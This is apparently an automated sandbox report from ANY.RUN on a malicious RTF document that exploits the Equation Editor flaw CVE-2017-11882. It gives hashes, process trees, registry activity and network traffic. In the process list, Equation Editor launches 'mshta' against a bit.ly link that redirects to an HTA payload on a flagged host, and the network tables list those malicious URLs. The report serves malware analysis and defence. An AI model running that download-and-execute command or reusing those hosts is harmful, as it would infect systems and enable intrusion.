Malware analysis Signed Documents .doc Malicious activity

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File name:	Signed Documents .doc
Full analysis:	https://app.any.run/tasks/b45d4b09-5139-4062-8593-3fed19af1b0d
Verdict:	Malicious activity
Analysis date:	January 18, 2019, 08:33:56
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	ole-embedded exploit cve-2017-11882
Indicators:
MIME:	text/rtf
File info:	Rich Text Format data, version 1, unknown character set
MD5:	492AABCDFBE3DDAC389B7B02B95643FC
SHA1:	D4CE96EBA78AC8E1FEF6E9C3DB6E8EDF247ABAFD
SHA256:	89FE5389B465EAB3C16A92166BCAB9D70531B8464C618DE9743F1075524839EC
SSDEEP:	1536:IV4l+lyxKalriYC8tGxdHoP13Gm+xaA2F+gvhkbXLjcuMs/LzV:I+l8kKwriYC8o

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 60 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Equation Editor starts application (CVE-2017-11882)
  - EQNEDT32.EXE (PID: 3336)
SUSPICIOUS
- Starts MSHTA.EXE for opening HTA or HTMLS files
  - EQNEDT32.EXE (PID: 3336)
- Creates files in the user directory
  - mshta.exe (PID: 4028)
- Reads Internet Cache Settings
  - WINWORD.EXE (PID: 2820)
- Starts Internet Explorer
  - rundll32.exe (PID: 3644)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2820)
  - iexplore.exe (PID: 3052)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2820)
- Reads internet explorer settings
  - mshta.exe (PID: 4028)
  - iexplore.exe (PID: 3052)
- Application was crashed
  - EQNEDT32.EXE (PID: 3336)
- Modifies the open verb of a shell class
  - rundll32.exe (PID: 2952)
- Application launched itself
  - iexplore.exe (PID: 2948)
- Changes internet zones settings
  - iexplore.exe (PID: 2948)
- Reads Internet Cache Settings
  - iexplore.exe (PID: 3052)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rtf	\|	Rich Text Format (100)

EXIF

RTF

Author:	-
LastModifiedBy:	-

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1140

"C:\Windows\explorer.exe"

C:\Windows\explorer.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Explorer

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

2820

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Signed Documents .doc.rtf"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

2948

"C:\Program Files\Internet Explorer\iexplore.exe" -nohome

C:\Program Files\Internet Explorer\iexplore.exe

rundll32.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2952

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat

C:\Windows\system32\rundll32.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows host process (Rundll32)

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll

3052

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2948 CREDAT:71937

C:\Program Files\Internet Explorer\iexplore.exe

iexplore.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3336

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

svchost.exe

User:

admin

Company:

Design Science, Inc.

Integrity Level:

MEDIUM

Description:

Microsoft Equation Editor

Exit code:

Version:

00110900

Modules

Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll

3512

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat

C:\Windows\system32\NOTEPAD.EXE

—

rundll32.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Notepad

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\notepad.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

3644

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat

C:\Windows\system32\rundll32.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows host process (Rundll32)

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imagehlp.dll

4028

mshta http://bit.ly/2MfnxL8 &AAAAAAAAAAAAAAAC

C:\Windows\system32\mshta.exe

EQNEDT32.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft (R) HTML Application host

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll

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Total events

2 353

Read events

1 574

Write events

773

Delete events

Modification events


(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	b5$
Value: 62352400040B0000010000000000000000000000
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1311899678
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1311899792
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1311899793
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 040B000076249A9C08AFD40100000000
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	h6$
Value: 68362400040B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	h6$
Value: 68362400040B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2820) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2820	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR8D42.tmp.cvr		—
		MD5:—	SHA256:—
2948	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico		—
		MD5:—	SHA256:—
2948	iexplore.exe	C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico		—
		MD5:—	SHA256:—
3052	iexplore.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@bing[2].txt		—
		MD5:—	SHA256:—
3052	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\search[1].txt		—
		MD5:—	SHA256:—
2948	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico		—
		MD5:—	SHA256:—
2820	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3052	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\reportActivity[1].txt		—
		MD5:—	SHA256:—
4028	mshta.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bit[1].txt		text
		MD5:—	SHA256:—
2820	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$gned Documents .doc.rtf		pgc
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3052	iexplore.exe	GET	301	2.16.186.24:80	http://shell.windows.com/fileassoc/fileassoc.asp?Ext=dat	unknown	—	—	whitelisted
4028	mshta.exe	GET	301	67.199.248.10:80	http://bit.ly/2MfnxL8	US	html	129 b	shared
3052	iexplore.exe	GET	302	23.51.118.23:80	http://go.microsoft.com/fwlink/?LinkId=57426&Ext=dat	NL	—	—	whitelisted
4028	mshta.exe	GET	404	94.73.146.167:80	http://vektorex.com/cgii/kass934Report.hta	TR	html	657 b	malicious
2948	iexplore.exe	GET	200	204.79.197.200:80	http://www.bing.com/favicon.ico	US	image	237 b	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4028	mshta.exe	67.199.248.10:80	bit.ly	Bitly Inc	US	shared
4028	mshta.exe	94.73.146.167:80	vektorex.com	Cizgi Telekomunikasyon Anonim Sirketi	TR	malicious
2948	iexplore.exe	204.79.197.200:80	www.bing.com	Microsoft Corporation	US	whitelisted
3052	iexplore.exe	23.51.118.23:80	go.microsoft.com	Akamai Technologies, Inc.	NL	whitelisted
3052	iexplore.exe	2.16.186.24:80	shell.windows.com	Akamai International B.V.	—	whitelisted
3052	iexplore.exe	204.79.197.200:443	www.bing.com	Microsoft Corporation	US	whitelisted
2948	iexplore.exe	204.79.197.200:443	www.bing.com	Microsoft Corporation	US	whitelisted
—	—	204.79.197.200:443	www.bing.com	Microsoft Corporation	US	whitelisted

DNS requests

Domain	IP	Reputation
bit.ly	67.199.248.10 67.199.248.11	shared
vektorex.com	94.73.146.167	unknown
www.bing.com	204.79.197.200 13.107.21.200	whitelisted
go.microsoft.com	23.51.118.23	whitelisted
shell.windows.com	2.16.186.24 2.16.186.27	whitelisted

Threats

PID	Process	Class	Message
4028	mshta.exe	A Network Trojan was detected	MALWARE [PTsecurity] PowerShell.Downloader httpHeader
4028	mshta.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious HTA application download
4028	mshta.exe	Potentially Bad Traffic	ET POLICY Possible HTA Application Download
4028	mshta.exe	Attempted User Privilege Gain	ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
4028	mshta.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious downloader - bit.ly redirect to .hta object
4028	mshta.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious downloader - redirect to .hta object

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No debug info

General Info

Signed Documents .doc

492AABCDFBE3DDAC389B7B02B95643FC

D4CE96EBA78AC8E1FEF6E9C3DB6E8EDF247ABAFD

89FE5389B465EAB3C16A92166BCAB9D70531B8464C618DE9743F1075524839EC

1536:IV4l+lyxKalriYC8tGxdHoP13Gm+xaA2F+gvhkbXLjcuMs/LzV:I+l8kKwriYC8o

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Equation Editor starts application (CVE-2017-11882)

SUSPICIOUS

Starts MSHTA.EXE for opening HTA or HTMLS files

Creates files in the user directory

Reads Internet Cache Settings

Starts Internet Explorer

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Reads internet explorer settings

Application was crashed

Modifies the open verb of a shell class

Application launched itself

Changes internet zones settings

Reads Internet Cache Settings

Malware configuration

Static information

TRiD

EXIF

RTF

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings